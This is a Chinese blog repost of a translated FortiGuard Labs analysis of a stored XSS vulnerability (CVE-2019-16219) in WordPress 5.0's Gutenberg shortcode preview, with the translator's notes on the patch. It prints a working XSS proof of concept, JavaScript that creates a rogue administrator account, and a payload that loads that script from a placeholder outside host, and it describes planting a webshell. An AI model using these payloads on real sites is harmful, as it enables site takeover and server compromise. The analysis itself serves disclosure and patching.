浅析WordPress5.0存储型XSS漏洞

2019-09-23 约 190 字 预计阅读 1 分钟

声明:本文 【浅析WordPress5.0存储型XSS漏洞】 由作者 熊本熊本熊 于 2019-09-23 08:50:18 首发 先知社区 曾经 浏览数 167 次

感谢 熊本熊本熊 的辛苦付出!

写在翻译稿前面

最近,笔者在研究一些与WordPress漏洞相关内容。Sucuri、RIPS、Fortinet等安全公司对WordPress有着一系列的深入研究,因此笔者计划陆续将一些有意思文章翻译出来,与大家共同学习下,祝君多挖漏洞。

这篇文章是来自FortiGuard Labs,本文介绍了存在于wordpress5.0版本中的xss漏洞。经我个人验证,从wordpress5.0版本起,由于强制使用古腾堡(Gutenberg)编辑器,内部存在不少xss漏洞,而本文中的漏洞,一直存在至5.0.5版本,而非文中所说的5.0.4。

下面翻译稿正文开始

前言

WordPress 是世界上最受欢迎的内容管理系统 (CMS),它的全球CMS市场份额已达60.4%,远远高于排名第二的Joomla!(后者仅有5.2%市场份额)。因此,互联网上超过三分之一的网站是使用WordPress搭建的。

近日,FortiGuard Labs团队在 WordPress 中发现了一个存储型跨站点脚本 (XSS)0day漏洞。此 XSS 漏洞是由 WordPress 5.0 中的新内置编辑器 Gutenberg 引起的,编辑器无法过滤Shortcode错误消息中的 JavaScript/HTML 代码。一旦受害者访问受感染网页,具有投稿者(Contributor)或更高权限的远程攻击者就可以在其浏览器中执行任意 JavaScript/HTML 代码。倘若受害者具有较高权限(如:管理员),攻击者甚至可以攻陷整个 Web 服务器。

此存储型XSS漏洞(CVE-2019-16219)影响WordPress 5.0到5.0.4,5.1和5.1.1版本。

解析

在WordPress 5.0中,用户可以将Shortcode块添加到帖子中。若将某些特定的HTML编码字符(如“&lt;”)添加到短代码块中,重新打开该帖时,WordPress就会显示错误消息,并将“&lt;”解码为“<”来进行预览。

图1.注入HTML编码字符Shortcode块

图2.Shortcode错误消息预览

使用PoC代码

"><img src=1 onerror=alert("熊本熊本熊")>

可以轻松绕过此预览中的XSS过滤器。

图3.将PoC代码插入Shortcode块

当受害者查看该帖时,XSS代码将在其浏览器中执行。

图4. WordPress短代码预览XSS

如果受害者恰好拥有管理员权限,攻击者即可以利用此漏洞获取管理员帐户的控制权,利用WordPress内置函数 getShell,然后控制服务器。

例如,攻击者可以在其Web服务器上托管JavaScript文件,例如wpaddadmin [。] js(在链接中描述)。此JavaScript代码将添加一个WordPress管理员帐户,其用户名为“attacker”,密码为“attacker”。

// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
var ajaxRequest = new XMLHttpRequest();  
var requestURL = "/wordpress/wp-admin/user-new.php";  
var nonceRegex = /ser" value="([^"]*?)"/g;  
ajaxRequest.open("GET", requestURL, false);  
ajaxRequest.send();  
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);  
var nonce = nonceMatch[1];  

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator  
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";  
ajaxRequest = new XMLHttpRequest();  
ajaxRequest.open("POST", requestURL, true);  
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
ajaxRequest.send(params);

然后,攻击者可以在JavaScript中注入以下PoC代码。

"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">

图5.注入XSS代码以添加管理员帐户

一旦具有高权限的受害者查看此帖,就会立即创建attacker管理员帐户。

图6.执行XSS代码

图7.使用XSS代码,成功创建具有管理员权限的“attacker”帐户

随之,攻击者可以将现有的php文件修改为webshell,并借此来控制Web服务器。

图8.使用攻击者的帐户添加webshell

图9.控制Web服务器

解决方案

建议使用受影响版本的WordPress用户,尽快升级到最新版本或立即应用最新的补丁。

翻译正文到此结束

写在翻译稿后面

我跟踪了下wordpress的修复

本次都修复位于wp-includes\js\dist\block-library.js中

由于原先shortcode的attributes 属性中source值为'text',前端页面在解析shortcode中的<值时,会将其解析为<,从而造成闭合,如下图

修复后shortcode的attributes 属性中source值为html,前端脚本不再解析<

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now